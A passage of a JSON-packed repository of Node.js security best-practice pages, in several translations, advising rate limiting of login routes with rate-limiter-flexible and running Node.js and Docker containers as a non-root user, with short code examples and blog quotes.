* 60 * 24, // Block for 1 day, if 100 wrong attempts per day\n});\n\nconst limiterConsecutiveFailsByUsernameAndIP = new RateLimiterRedis({\n  storeClient: redisClient,\n  keyPrefix: 'login_fail_consecutive_username_and_ip',\n  points: maxConsecutiveFailsByUsernameAndIP,\n  duration: 60 * 60 * 24 * 90, // Store number for 90 days since first fail\n  blockDuration: 60 * 60, // Block for 1 hour\n});\n```\n\nSee complete example on [rate-limiter-flexible package's Wiki](https://github.com/animir/node-rate-limiter-flexible/wiki/Overall-example#login-endpoint-protection).\n\n### What other bloggers say\n\nFrom the Essential Node.js Security book by [Liran Tal](https://leanpub.com/nodejssecurity):\n> Brute-force attacks may be employed by an attacker to send a series of username/password pairs to your REST end-points over POST or another RESTful API that you have opened to implement them. Such a dictionary attack is very straight-forward and easy to execute and may be performed on any other parts of your API or page routing, unrelated to logins.\n"
  },
  {
    "path": "sections/security/login-rate-limit.japanese.md",
    "content": "# 認証に対するブルートフォース攻撃を阻止する\r\n\r\n### 一段落説明\r\n\r\nレートリミットを行わずに `/login` や `/admin` のような上位の特権ルートを公開したままにしておくと、アプリケーションをブルートフォースパスワード辞書攻撃のリスクに晒すことになります。このようなルートへのリクエストを制限する戦略を採用することで、IP のようなリクエストのプロパティや、ユーザ名/メールアドレスといった body パラメータに基づいて試行の許可回数を制限することとなり、攻撃の成功を防ぐことができます。\r\n\r\n### コード例: ユーザー名と IP アドレスのペアによる連続認証失敗回数と、IP アドレスによる合計失敗回数をカウントする\r\n\r\n[rate-limiter-flexible](https://www.npmjs.com/package/rate-limiter-flexible) という npm パッケージを利用する。\r\n\r\n2 つのリミッターを作成します:\r\n1. 1 つ目は、連続した認証失敗回数をカウントし、ユーザー名と IP アドレスのペアに対して最大 10 回まで許可する\r\n2. 2 つ目は、1 日に 100 回試行に失敗した IP アドレスを 1 日ブロックする\r\n\r\n```javascript\r\nconst maxWrongAttemptsByIPperDay = 100;\r\nconst maxConsecutiveFailsByUsernameAndIP = 10;\r\n\r\nconst limiterSlowBruteByIP = new RateLimiterRedis({\r\n  storeClient: redisClient,\r\n  keyPrefix: 'login_fail_ip_per_day',\r\n  points: maxWrongAttemptsByIPperDay,\r\n  duration: 60 * 60 * 24,\r\n  blockDuration: 60 * 60 * 24, // 1 日に 100 回失敗した場合、1 日間ブロックする\r\n});\r\n\r\nconst limiterConsecutiveFailsByUsernameAndIP = new RateLimiterRedis({\r\n  storeClient: redisClient,\r\n  keyPrefix: 'login_fail_consecutive_username_and_ip',\r\n  points: maxConsecutiveFailsByUsernameAndIP,\r\n  duration: 60 * 60 * 24 * 90, // 最初の失敗から 90 日、間数字を保持する\r\n  blockDuration: 60 * 60, // 1 時間ブロックする\r\n});\r\n```\r\n\r\n[rate-limiter-flexible package's Wiki](https://github.com/animir/node-rate-limiter-flexible/wiki/Overall-example#login-endpoint-protection) で完全な例を確認してください。\r\n\r\n### 他のブロガーが言っていること\r\n\r\n[Liran Tal](https://leanpub.com/nodejssecurity) による書籍 Essential Node.js Security より:\r\n> ブルートフォース攻撃は、攻撃者が一連のユーザ名とパスワードのペアを REST エンドポイントに対して POST したり、開放しているその他の RESTful API に対してリクエストを送信する場合に採用されることがあります。このような辞書攻撃はとても簡単で実行しやすく、ログインとは関係なく、API やページルーティングの他の部分に対しても実行される可能性があります。\r\n"
  },
  {
    "path": "sections/security/login-rate-limit.md",
    "content": "# Prevent brute-force attacks against authorization\r\n\r\n### One Paragraph Explainer\r\n\r\nLeaving higher privileged routes such as `/login` or `/admin` exposed without rate limiting leaves an application at risk of brute force password dictionary attacks. Using a strategy to limit requests to such routes can prevent the success of this by limiting the number of allow attempts based on a request property such as ip, or a body parameter such as username/email address.\r\n\r\n### Code example: count consecutive failed authorisation attempts by user name and IP pair and total fails by IP address.\r\n\r\nUsing [rate-limiter-flexible](https://www.npmjs.com/package/rate-limiter-flexible) npm package.\r\n\r\nCreate two limiters: \r\n1. The first counts number of consecutive failed attempts and allows maximum 10 by username and IP pair. \r\n2. The second blocks IP address for a day on 100 failed attempts per day.\r\n\r\n```javascript\r\nconst maxWrongAttemptsByIPperDay = 100;\r\nconst maxConsecutiveFailsByUsernameAndIP = 10;\r\n\r\nconst limiterSlowBruteByIP = new RateLimiterRedis({\r\n  storeClient: redisClient,\r\n  keyPrefix: 'login_fail_ip_per_day',\r\n  points: maxWrongAttemptsByIPperDay,\r\n  duration: 60 * 60 * 24,\r\n  blockDuration: 60 * 60 * 24, // Block for 1 day, if 100 wrong attempts per day\r\n});\r\n\r\nconst limiterConsecutiveFailsByUsernameAndIP = new RateLimiterRedis({\r\n  storeClient: redisClient,\r\n  keyPrefix: 'login_fail_consecutive_username_and_ip',\r\n  points: maxConsecutiveFailsByUsernameAndIP,\r\n  duration: 60 * 60 * 24 * 90, // Store number for 90 days since first fail\r\n  blockDuration: 60 * 60, // Block for 1 hour\r\n});\r\n```\r\n\r\nSee complete example on [rate-limiter-flexible package's Wiki](https://github.com/animir/node-rate-limiter-flexible/wiki/Overall-example#login-endpoint-protection).\r\n\r\n### What other bloggers say\r\n\r\nFrom the Essential Node.js Security book by [Liran Tal](https://leanpub.com/nodejssecurity):\r\n> Brute-force attacks may be employed by an attacker to send a series of username/password pairs to your REST end-points over POST or another RESTful API that you have opened to implement them. Such a dictionary attack is very straight-forward and easy to execute and may be performed on any other parts of your API or page routing, unrelated to logins.\r\n"
  },
  {
    "path": "sections/security/login-rate-limit.polish.md",
    "content": "# Zapobieganie atakom brute-force na autoryzację\n\n### Wyjaśnienie jednym akapitem\n\nPozostawienie wyżej uprzywilejowanych tras, takich jak `/ login` lub` / admin`, ujawnione bez ograniczenia wyjść, naraża aplikację na ataki słownikowe z użyciem siły brute force. Użycie strategii w celu ograniczenia żądań do takich tras może zapobiec powodzeniu, ograniczając liczbę prób zezwolenia na podstawie właściwości żądania, takiej jak ip, lub parametru treści, takiego jak nazwa użytkownika / adres e-mail.\n\n### Przykład kodu: zliczaj kolejne nieudane próby autoryzacji według nazwy użytkownika i pary IP, i całkowite fails według adresu IP.\n\nUżywanie pakietu [rate-limiter-flexible](https://www.npmjs.com/package/rate-limiter-flexible) npm.\n\nUtwórz dwa ograniczniki:\n1. Pierwszy zlicza liczbę kolejnych nieudanych prób i dopuszcza maksymalnie 10 według nazwy użytkownika i pary IP.\n2. Drugi blokuje adres IP na dzień przy 100 nieudanych próbach dziennie.\n\n```javascript\nconst maxWrongAttemptsByIPperDay = 100;\nconst maxConsecutiveFailsByUsernameAndIP = 10;\n\nconst limiterSlowBruteByIP = new RateLimiterRedis({\n  storeClient: redisClient,\n  keyPrefix: 'login_fail_ip_per_day',\n  points: maxWrongAttemptsByIPperDay,\n  duration: 60 * 60 * 24,\n  blockDuration: 60 * 60 * 24, // Block for 1 day, if 100 wrong attempts per day\n});\n\nconst limiterConsecutiveFailsByUsernameAndIP = new RateLimiterRedis({\n  storeClient: redisClient,\n  keyPrefix: 'login_fail_consecutive_username_and_ip',\n  points: maxConsecutiveFailsByUsernameAndIP,\n  duration: 60 * 60 * 24 * 90, // Store number for 90 days since first fail\n  blockDuration: 60 * 60, // Block for 1 hour\n});\n```\n\nZobacz pełny przykład na [rate-limiter-flexible package's Wiki](https://github.com/animir/node-rate-limiter-flexible/wiki/Overall-example#login-endpoint-protection).\n\n### Co inni blogerzy mówią\n\nZ książki Essential Node.js Security od [Liran Tal](https://leanpub.com/nodejssecurity):\n> Brute-force attacks may be employed by an attacker to send a series of username/password pairs to your REST end-points over POST or another RESTful API that you have opened to implement them. Such a dictionary attack is very straight-forward and easy to execute and may be performed on any other parts of your API or page routing, unrelated to logins.\n"
  },
  {
    "path": "sections/security/login-rate-limit.russian.md",
    "content": "# Предотвращайте атаки методом грубой силы против авторизации\r\n\r\n### Объяснение в один абзац\r\n\r\nЕсли предоставить доступ к более привилегированным маршрутам, таким как `/login` или `/admin`, без ограничения скорости, то приложение подвергается риску атак с использованием словаря паролей. Использование стратегии для ограничения запросов такими маршрутами может предотвратить успех этого путем ограничения количества попыток разрешения на основе свойства запроса, такого как ip, или параметра body, такого как имя пользователя/адрес электронной почты.\r\n\r\n### Пример кода: подсчет последовательных неудачных попыток авторизации по имени пользователя и паре IP и общее количество неудачных попыток по IP-адресу.\r\n\r\nИспользование [rate-limiter-flexible](https://www.npmjs.com/package/rate-limiter-flexible) npm пакета.\r\n\r\nСоздайте два ограничителя:\r\n1. Первый подсчитывает количество последовательных неудачных попыток и допускает максимум 10 по имени пользователя и паре IP.\r\n2. Второй блокирует IP-адрес на день при 100 неудачных попытках в день.\r\n\r\n```javascript\r\nconst maxWrongAttemptsByIPperDay = 100;\r\nconst maxConsecutiveFailsByUsernameAndIP = 10;\r\n\r\nconst limiterSlowBruteByIP = new RateLimiterRedis({\r\n  storeClient: redisClient,\r\n  keyPrefix: 'login_fail_ip_per_day',\r\n  points: maxWrongAttemptsByIPperDay,\r\n  duration: 60 * 60 * 24,\r\n  blockDuration: 60 * 60 * 24, // Block for 1 day, if 100 wrong attempts per day\r\n});\r\n\r\nconst limiterConsecutiveFailsByUsernameAndIP = new RateLimiterRedis({\r\n  storeClient: redisClient,\r\n  keyPrefix: 'login_fail_consecutive_username_and_ip',\r\n  points: maxConsecutiveFailsByUsernameAndIP,\r\n  duration: 60 * 60 * 24 * 90, // Store number for 90 days since first fail\r\n  blockDuration: 60 * 60, // Block for 1 hour\r\n});\r\n```\r\n\r\nСм. полный пример [rate-limiter-flexible package's Wiki](https://github.com/animir/node-rate-limiter-flexible/wiki/Overall-example#login-endpoint-protection).\r\n\r\n### Что говорят другие блогеры\r\n\r\nИз книги Essential Node.js Security [Liran Tal](https://leanpub.com/nodejssecurity):\r\n> Атакующий может использовать атаки методом грубой силы, чтобы отправить серию пар имя пользователя/пароль вашим конечным точкам REST через POST или другой RESTful API, который вы открыли для их реализации. Такая атака по словарю очень проста и проста в исполнении и может выполняться на любых других частях вашего API или маршрутизации страниц, не связанных с логинами.\r\n"
  },
  {
    "path": "sections/security/non-root-user.basque.md",
    "content": "# Exekutatu Node.js erabiltzaile ez-erro gisa\r\n\r\n### Azalpena\r\n\r\n\"Pribilegiorik txikienaren printzipioa\" aplikatuz, erabiltzaileek/prozesuek beharrezko informazioa eta baliabideak soilik eskuratu behar dituzte. Erasotzaileei erro sarbidea emateak ideia maltzurrez osatutako mundu berria irekitzen du, hala nola trafikoa beste zerbitzari batzuetara bideratzea. Praktikan, Node.js aplikazio gehienek ez dute erro sarbidea behar, eta ez dute horrelako pribilegioekin egikaritzen. Hala eta guztiz ere, erabilera arruntera bultzatu dezaketen bi agertoki komun daude:\r\n\r\n- pribilegioen atarira sartzeko (adibidez, 80 portua), Node.js erro gisa egikaritu behar da\r\n- Docker ontziak erro(!) gisa exekutatuak izateko lehenetsita daude. Gomendagarria da Node.js web aplikazioek pribilegiorik gabeko portuetan entzun (listen) dezatela eta nginx bezalako alderantzizko proxy batean oinarritu daitezela sarrerako trafikoa 80 portutik bere Node.js aplikaziora birbideratzeko. Docker irudiak eraikitzean, segurtasun handiko aplikazioek edukiontzia egikaritu beharko lukete erro ez den beste erabiltzaile batekin. Docker kluster gehienek (adibidez, Swarm, Kubernetes) segurtasun testuingurua modu deklaratiboan ezartzea ahalbidetzen dute\r\n\r\n### Kode adibidea: Docker irudiak eraikitzea ez-erro gisa\r\n\r\n```dockerfile\r\nFROM node:latest\r\n\r\nCOPY package.json .\r\nRUN npm install\r\nCOPY . .\r\nEXPOSE 3000\r\nUSER node\r\nCMD [\"node\", \"server.js\"]\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Blog aipua: \"Docker lehenetsita dago edukiontzia erro gisa egikaritzeko\"\r\n\r\n[eyalzek](https://github.com/nodejs/docker-node/blob/master/docs/BestPractices.md#non-root-user)-en Repository docker-nodetik hartua:\r\n\r\n> Berez, Dockerek edukiontzia erro gisa egikaritzen du, edukiontziaren barruan segurtasun arazoa izan daitekeena. Pribilegiorik gabeko erabiltzaile gisa egikaritu nahiko duzu edukiontzia ahal duzun guztietan. Horretarako, noderen irudiek noderen erabiltzailea hornitzen dute. Dockerren irudia noderen erabiltzailearekin egikaritu ahal da, honela egikaritu ere: \"-u 'node'\"\r\n\r\n<br/><br/>\r\n\r\n### Blog aipua: \"Erasotzaileak erabateko kontrola izango du zure makinaren gainean\"\r\n\r\n[Olivier Lalonde](http://syskall.com/dont-run-node-dot-js-as-root/)ren Ez egikaritu Node.js erro gisa bloga:\r\n\r\n> Izan ere, zure zerbitzaria erro gisa egikaritzen baduzu eta zure kodearen ahultasun baten bidez hackeatzen badute, erasotzaileak zure makinaren gaineko kontrola izango du. Horrek esan nahi du erasotzaileak zure diskoa guztiz ezabatu edo zerbait okerrago egin ahal izango duela. Bestalde, zure zerbitzariak erabiltzaile arrunt baten baimenekin funtzionatzen badu, baimen horiek mugak jarriko dizkio erasotzaileari.\r\n\r\n<br/><br/>\r\n\r\n### Blog aipua: \"Zure aplikazioa 80 edo 443 portuan egikaritu behar baduzu, portuen birbideraketa egin dezakezu\"\r\n\r\n[Deepal Jayasekara](https://jsblog.insiderattack.net/developing-secure-node-js-applications-a-broad-guide-286afdec69ce)-ren “Developing Secure Node.js Applications - gida zabala garatzen” bloga:\r\n\r\n> Inoiz ez egikaritu Node.js erro gisa. Node.js erro gisa egikarituz gero, egoerak okerrera egingo du erasotzaileren batek nondik edo handik zure aplikazioaren gaineko kontrola lortzen badu. Eszenatoki horretan, erasotzaileak erro pribilegioak ere lortuko lituzke, hondamendia eragin lezakeena. Aplikazioa 80 edo 443 portuan egikaritu behar baduzu, iptables erabiliz birbideratu dezakezu portua edo frontend-endeko proxy bat jar dezakezu -hala nola nginx edo apache-, 80 edo 443 portuetatik zure aplikaziora bideratuko duena.\r\n"
  },
  {
    "path": "sections/security/non-root-user.brazilian-portuguese.md",
    "content": "# Rode o Node.js como um usuário que não seja root\r\n\r\n### Explicação em um Parágrafo\r\n\r\nDe acordo com o \"Princípio do menor privilégio\", um usuário/processo deve ser capaz de acessar apenas as informações e recursos necessários. A concessão de acesso root a um invasor abre um novo mundo de ideias mal-intencionadas, como o roteamento de tráfego para outros servidores. Na prática, a maioria das aplicações Node.js não precisa de acesso root e não é executada com esses privilégios. No entanto, existem dois cenários comuns que podem levar ao uso da raiz:\r\n\r\n- para obter acesso à uma porta de privilégios (por exemplo, porta 80), o Node.js deve ser executado como raiz\r\n- Contêineres do Docker, por padrão, são executados como root (!). É recomendado que aplicações Web Node.js escutem em portas sem privilégios e confiem em um proxy reverso como nginx para redirecionar o tráfego de entrada da porta 80 para a aplicação Node.js. Ao criar uma imagem do Docker, as aplicações altamente protegidas devem executar o contêiner com um usuário alternativo não root. A maioria dos clusters Docker (por exemplo, Swarm, Kubernetes) permitem definir o contexto de segurança declarativamente\r\n\r\n### Exemplo de código - Criando uma imagem do Docker como não root\r\n\r\n```dockerfile\r\nFROM node:latest\r\n\r\nCOPY package.json .\r\nRUN npm install\r\nCOPY . .\r\nEXPOSE 3000\r\nUSER node\r\nCMD [\"node\", \"server.js\"]\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Citação de Blog: \"Por padrão, o Docker executa contêiner como root\"\r\n\r\nDo repositório docker-node por [eyalzek](https://github.com/nodejs/docker-node/blob/master/docs/BestPractices.md#non-root-user):\r\n> Por padrão, o Docker executa o contêiner como root, que dentro do contêiner pode representar um problema de segurança. Você deseja executar o contêiner como um usuário não privilegiado sempre que possível. As imagens do node fornecem o usuário do node para esse propósito. A imagem do Docker pode então ser executada com o usuário do nó da seguinte maneira: \"-u 'node'\"\r\n\r\n<br/><br/>\r\n\r\n### Citação de Blog: \"O atacante terá controle total sobre sua máquina\"\r\n\r\nNão execute Node.js como root por [Olivier Lalonde](http://syskall.com/dont-run-node-dot-js-as-root/):\r\n> De fato, se você estiver executando seu servidor como root e ele for invadido por meio de uma vulnerabilidade em seu código, o invasor terá controle total sobre sua máquina. Isso significa que o invasor pode acabar com todo o seu disco ou pior. Por outro lado, se o servidor for executado com as permissões de um usuário comum, o invasor será limitado por essas permissões.\r\n\r\n<br/><br/>\r\n\r\n### Citação de Blog: \"Se você precisar executar seu aplicativo na porta 80 ou 443, poderá fazer o encaminhamento de porta\"\r\n\r\nDesenvolvendo Aplicações Node.js Seguros - Um Guia Amplo por [Deepal Jayasekara](https://jsblog.insiderattack.net/developing-secure-node-js-applications-a-broad-guide-286afdec69ce):\r\n> Nunca execute o Node.js como root. Executar o node.js como root irá causar mais danos caso um invasor de alguma forma ganhar controle sobre sua aplicação. Nesse cenário, o invasor também ganharia privilégios de root, o que poderia resultar em uma catástrofe. Se você precisar executar sua aplicação na porta 80 ou 443, poderá fazer o encaminhamento de porta usando o iptables ou poderá colocar um proxy front-end, como nginx ou apache, que encaminha a solicitação da porta 80 ou 443 para sua aplicação\r\n"
  },
  {
    "path": "sections/security/non-root-user.french.md",
    "content": "# Run Node.js as Non-Root User\n\n### One Paragraph Explainer\n\nAccording to the 'Principle of least privilege' a user/process must be able to access only the necessary information and resources. Granting root access to an attacker opens a whole new world of malicious ideas like routing traffic to other servers. In practice, most Node.js apps don't need root access and don't run with such privileges. However, there are two common scenarios that might push to root usage:\n\n- to gain access to privilege port (e.g. port 80) Node.js must run as root\n- Docker containers by default run as root(!). It's recommended for Node.js web applications to listen on non-privileged ports and rely on a reverse-proxy like nginx to redirect incoming traffic from port 80 to your Node.js application. When building a Docker image, highly secured apps should run the container with an alternate non-root user. Most Docker clusters (e.g. Swarm, Kubernetes) allow setting the security context declaratively\n\n### Code example - Building a Docker image as non-root\n\n```dockerfile\nFROM node:latest\n\nCOPY package.json .\nRUN npm install\nCOPY . .\nEXPOSE 3000\nUSER node\nCMD [\"node\", \"server.js\"]\n```\n\n<br/><br/>\n\n### Blog Quote: \"By default, Docker runs container as root\"\n\nFrom the Repository docker-node by [eyalzek](https://github.com/nodejs/docker-node/blob/master/docs/BestPractices.md#non-root-user):\n> By default, Docker runs container as root which inside of the container can pose as a security issue. You would want to run the container as an unprivileged user wherever possible. The node images provide the node user for such purpose. The Docker Image can then be run with the node user in the following way: \"-u 'node'\"\n\n<br/><br/>\n\n### Blog Quote: \"The attacker will have total control over your machine\"\n\nFrom the blog Don't run Node.js as root by [Olivier Lalonde](http://syskall.com/dont-run-node-dot-js-as-root/):\n> Indeed, if you are running your server as root and it gets hacked through a vulnerability in your code, the attacker will have total control over your machine. This means the attacker could potentially wipe out your whole disk or worse. On the other hand, if your server runs with the permissions of a regular user, the attacker will be limited by those permissions.\n\n<br/><br/>\n\n### Blog Quote: \"If you need to run your application on port 80 or 443, you can do port forwarding\"\n\nFrom the blog Developing Secure Node.js Applications — A Broad Guide by [Deepal Jayasekara](https://jsblog.insiderattack.net/developing-secure-node-js-applications-a-broad-guide-286afdec69ce):\n> Never run Node.js as root. Running node.js as root will make it worse if an attacker somehow gains control over your application. In this scenario, attacker would also gain root privileges which could result in a catastrophe. If you need to run your application on port 80 or 443, you can do port forwarding using iptables or you can place a front-end proxy such as nginx or apache which routes request from port 80 or 443 to your application\n"
  },
  {
    "path": "sections/security/non-root-user.japanese.md",
    "content": "# 非 root ユーザとして Node.js を実行する\r\n\r\n### 一段落説明\r\n\r\n「最小権限の原則」によれば、ユーザ/プロセスは必要な情報やリソースにだけアクセスできるようにしなければならない。攻撃者にルートアクセスを与えることは、他のサービスにトラフィックをルーティングしたりするような、ありとあらゆる悪意のあるアイデアを試せる環境を与えてしまうことになります。実際には、ほとんどの Node.js アプリケーションは root アクセスを必要とせず、そのような特権とともに実行することはありません。しかし、root ユーザを使わなければならない 2 つのシナリオがあります:\r\n\r\n- 特権ポート（例：80番ポート）へのアクセスを得るために、Node.js を root として実行する\r\n- Docker コンテナはデフォルトで root として実行します（！）。Node.js ウェブアプリケーションは非特権ポートをリッスンし、受け付けるトラフィックを 80 番ポートから Node.js アプリケーションにリダイレクトするために nginx のようなリバースプロキシを利用することが推奨されます。Docker イメージをビルドする際は、安全性の高いアプリケーションは代理の非 root ユーザでコンテナを実行するべきです。多くの Docker クラスタ（例：Swarm、Kubernetes）は宣言的にセキュリティコンテキストを設定することが可能です。\r\n\r\n### コード例 - 非 root ユーザとして Docker イメージを構築する\r\n\r\n```dockerfile\r\nFROM node:latest\r\n\r\nCOPY package.json .\r\nRUN npm install\r\nCOPY . .\r\nEXPOSE 3000\r\nUSER node\r\nCMD [\"node\", \"server.js\"]\r\n```\r\n\r\n<br/><br/>\r\n\r\n### ブログ引用: \"By default, Docker runs container as root\"（デフォルトでは、Docker は root でコンテナを実行します）\r\n\r\n[eyalzek](https://github.com/nodejs/docker-node/blob/master/docs/BestPractices.md#non-root-user) による docker-node リポジトリより:\r\n> デフォルトでは、Docker はコンテナを root で実行しますが、コンテナ内部ではセキュリティ上の問題が発生する可能性があります。可能な限り、非特権ユーザとしてコンテナを実行したいと思うでしょう。そのために、node イメージは node ユーザを提供しています。よって、Docker イメージは次のようにして node ユーザとして実行することができます: \"-u 'node'\"\r\n\r\n<br/><br/>\r\n\r\n### ブログ引用: \"The attacker will have total control over your machine\"（攻撃者はマシンのすべての権限を得るでしょう）\r\n\r\n[Olivier Lalonde](http://syskall.com/dont-run-node-dot-js-as-root/) のブログ Don't run Node.js as root より:\r\n> 実際、もし root でサーバを稼働させていて、コードの脆弱性からハッキングされた場合、攻撃者はマシンのすべての権限を得るでしょう。これは、潜在的に攻撃者がディスク全体を削除したり、さらに悪いことを行うことができるということを意味します。一方で、一般ユーザーの権限でサーバを実行していた場合、攻撃者はそれらの権限に制限されます。\r\n\r\n<br/><br/>\r\n\r\n### ブログ引用: \"If you need to run your application on port 80 or 443, you can do port forwarding\"（80 番ポートもしくは 443 番ポートでアプリケーションを実行する必要がある場合は、ポートフォワーディングが利用できます）\r\n\r\n[Deepal Jayasekara](https://jsblog.insiderattack.net/developing-secure-node-js-applications-a-broad-guide-286afdec69ce) によるブログ Developing Secure Node.js Applications — A Broad Guide より:\r\n> Node.js を絶対に root で実行しないでください。Node.js を root として実行すると、攻撃者が何らかの形でアプリケーションの制御権を得た場合に、最悪の事態を招くことになります。このシナリオでは、攻撃者は root 権限も取得してしまい、大惨事になる可能性があります。アプリケーションを 80 番や 443 番ポートで実行する必要がある場合には、iptables を利用してポートフォワーディングするか、nginx や apache のような、80 番 や 443 番ポートからアプリケーションへリクエストをルーティングしてくれるフロントエンドプロキシを配置してください。。\r\n"
  },
  {
    "path": "sections/security/non-root-user.md",
    "content": "# Run Node.js as Non-Root User\r\n\r\n### One Paragraph Explainer\r\n\r\nAccording to the 'Principle of least privilege' a user/process must be able to access only the necessary information and resources. Granting root access to an attacker opens a whole new world of malicious ideas like routing traffic to other servers. In practice, most Node.js apps don't need root access and don't run with such privileges. However, there are two common scenarios that might push to root usage:\r\n\r\n- to gain access to privilege port (e.g. port 80) Node.js must run as root\r\n- Docker containers by default run as root(!). It's recommended for Node.js web applications to listen on non-privileged ports and rely on a reverse-proxy like nginx to redirect incoming traffic from port 80 to your Node.js application. When building a Docker image, highly secured apps should run the container with an alternate non-root user. Most Docker clusters (e.g. Swarm, Kubernetes) allow setting the security context declaratively\r\n\r\n### Code example - Building a Docker image as non-root\r\n\r\n```dockerfile\r\nFROM node:latest\r\n\r\nCOPY package.json .\r\nRUN npm install\r\nCOPY . .\r\nEXPOSE 3000\r\nUSER node\r\nCMD [\"node\", \"server.js\"]\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Blog Quote: \"By default, Docker runs container as root\"\r\n\r\nFrom the Repository docker-node by [eyalzek](https://github.com/nodejs/docker-node/blob/master/docs/BestPractices.md#non-root-user):\r\n> By default, Docker runs container as root which inside of the container can pose as a security issue. You would want to run the container as an unprivileged user wherever possible. The node images provide the node user for such purpose. The Docker Image can then be run with the node user in the following way: \"-u 'node'\"\r\n\r\n<br/><br/>\r\n\r\n### Blog Quote: \"The attacker will have total control over your machine\"\r\n\r\nFrom the blog Don't run Node.js as root by [Olivier Lalonde](http://syskall.com/dont-run-node-dot-js-as-root/):\r\n> Indeed, if you are running your server as root and it gets hacked through a vulnerability in your code, the attacker will have total control over your machine. This means the attacker could potentially wipe out your whole disk or worse. On the other hand, if your server runs with the permissions of a regular user, the attacker will be limited by those permissions.\r\n\r\n<br/><br/>\r\n\r\n### Blog Quote: \"If you need to run your application on port 80 or 443, you can do port forwarding\"\r\n\r\nFrom the blog Developing Secure Node.js Applications — A Broad Guide by [Deepal Jayasekara](https://jsblog.insiderattack.net/developing-secure-node-js-applications-a-broad-guide-286afdec69ce):\r\n> Never run Node.js as root. Running node.js as root will make it worse if an attacker somehow gains control over your application. In this scenario, attacker would also gain root privileges which could result in a catastrophe. If you need to run your application on port 80 or 443, you can do port forwarding using iptables or you can place a front-end proxy such as nginx or apache which routes request from port 80 or 443 to your application\r\n"
  },
  {
    "path": "sections/security/non-root-user.polish.md",
    "content": "# Uruchom Node.js jako Non-Root User\n\n### Wyjaśnienie jednym akapitem\n\nZgodnie z „zasadą najmniejszych uprawnień” użytkownik / proces musi mieć dostęp tylko do niezbędnych informacji i zasobów. Przydzielenie rootowi dostępu, atakującemu otwiera zupełnie nowy świat złośliwych pomysłów, takich jak kierowanie ruchu do innych serwerów. W praktyce większość aplikacji Node.js nie potrzebuje dostępu do konta root i nie działa z takimi uprawnieniami. Istnieją jednak dwa typowe scenariusze, które mogą wypychać do używania roota:\n\n- aby uzyskać dostęp do portu uprawnień (np. portu 80) Node.js musi działać jako root\n- kontenery Docker domyślnie działają jako root (!). Zaleca się, aby aplikacje internetowe Node.js nasłuchiwały na nieuprzywilejowanych portach i polegały na odwrotnym proxy, takim jak nginx, do przekierowywania ruchu przychodzącego z portu 80 do aplikacji Node.js. Podczas budowania obrazu Docker wysoce zabezpieczone aplikacje powinny uruchamiać kontener z alternatywnym użytkownikiem innym niż root. Większość klastrów Docker (np. Swarm, Kubernetes) umożliwia deklaratywne ustawienie kontekstu bezpieczeństwa\n\n### Przykład kodu - Budowanie obrazu Dockera jako non-root\n\n```dockerfile\nFROM node:latest\n\nCOPY package.json .\nRUN npm install\nCOPY . .\nEXPOSE 3000\nUSER node\nCMD [\"node\", \"server.js\"]\n```\n\n<br/><br/>\n\n### Cytat z Blogu: \"By default, Docker runs container as root\"\n\nZ Repository docker-node od [eyalzek](https://github.com/nodejs/docker-node/blob/master/docs/BestPractices.md#non-root-user):\n> By default, Docker runs container as root which inside of the container can pose as a security issue. You would want to run the container as an unprivileged user wherever possible. The node images provide the node user for such purpose. The Docker Image can then be run with the node user in the following way: \"-u 'node'\"\n\n<br/><br/>\n\n### Cytat z Blogu: \"The attacker will have total control over your machine\"\n\nZ bloga Don't run Node.js as root od [Olivier Lalonde](http://syskall.com/dont-run-node-dot-js-as-root/):\n> Indeed, if you are running your server as root and it gets hacked through a vulnerability in your code, the attacker will have total control over your machine. This means the attacker could potentially wipe out your whole disk or worse. On the other hand, if your server runs with the permissions of a regular user, the attacker will be limited by those permissions.\n\n<br/><br/>\n\n### Cytat z Blogu: \"If you need to run your application on port 80 or 443, you can do port forwarding\"\n\nZ bloga Developing Secure Node.js Applications — A Broad Guide by [Deepal Jayasekara](https://jsblog.insiderattack.net/developing-secure-node-js-applications-a-broad-guide-286afdec69ce):\n> Never run Node.js as root. Running node.js as root will make it worse if an attacker somehow gains control over your application. In this scenario, attacker would also gain root privileges which could result in a catastrophe. If you need to run your application on port 80 or 443, you can do port forwarding using iptables or you can place a front-end proxy such as nginx or apache which routes request from port 80 or 443 to your application\n"
  },
  {
    "path": "sections/security/non-root-user.russian.md",
    "content": "# Запускайте Node.js как пользователь без полномочий root\r\n\r\n### Объяснение в один абзац\r\n\r\nСогласно \"Принципу наименьших привилегий\" пользователь/процесс должен иметь доступ только к необходимой информации и ресурсам. Предоставление злоумышленнику корневого доступа открывает целый новый мир вредоносных идей, таких как маршрутизация трафика на другие серверы. На практике большинству приложений Node.js не требуется root-доступ и они не запускаются с такими привилегиями. Однако есть два распространенных сценария, которые могут подтолкнуть к использованию root:\r\n\r\n- чтобы получить доступ к привилегированному порту (например, порту 80), Node.js должен работать от имени пользователя root\r\n- Контейнеры Docker по умолчанию запускаются с правами root(!). Веб-приложениям Node.js рекомендуется прослушивать непривилегированные порты и полагаться на обратный прокси-сервер, такой как nginx, для перенаправления входящего трафика с порта 80 на приложение Node.js. При создании образа Docker приложения с высокой степенью защиты должны запускать контейнер с другим пользователем без полномочий root. Большинство Docker-кластеров (например, Swarm, Kubernetes) позволяют декларативно устанавливать контекст безопасности\r\n\r\n### Пример кода - Создание образа Docker без полномочий root\r\n\r\n```dockerfile\r\nFROM node:latest\r\n\r\nCOPY package.json .\r\nRUN npm install\r\nCOPY . .\r\nEXPOSE 3000\r\nUSER node\r\nCMD [\"node\", \"server.js\"]\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Цитата из блога: \"По умолчанию Docker запускает контейнер от имени root\"\r\n\r\nИз репозитория docker-node [eyalzek](https://github.com/nodejs/docker-node/blob/master/docs/BestPractices.md#non-root-user):\r\n> По умолчанию Docker запускает контейнер с правами root, который внутри контейнера может представлять проблему безопасности. Вы хотели бы запускать контейнер как непривилегированный пользователь, где это возможно. Изображения узла предоставляют пользователю узла для такой цели. Затем Docker Image может быть запущен с пользователем узла следующим образом: \"-u 'node'\"\r\n\r\n<br/><br/>\r\n\r\n### Цитата из блога: \"Злоумышленник будет полностью контролировать вашу машину\"\r\n\r\nИз блога \"Don't run Node.js as root\" [Olivier Lalonde](http://syskall.com/dont-run-node-dot-js-as-root/):\r\n> Действительно, если вы используете свой сервер от имени root и он будет взломан из-за уязвимости в вашем коде, злоумышленник будет иметь полный контроль над вашей машиной. Это означает, что злоумышленник может уничтожить весь ваш диск или еще хуже. С 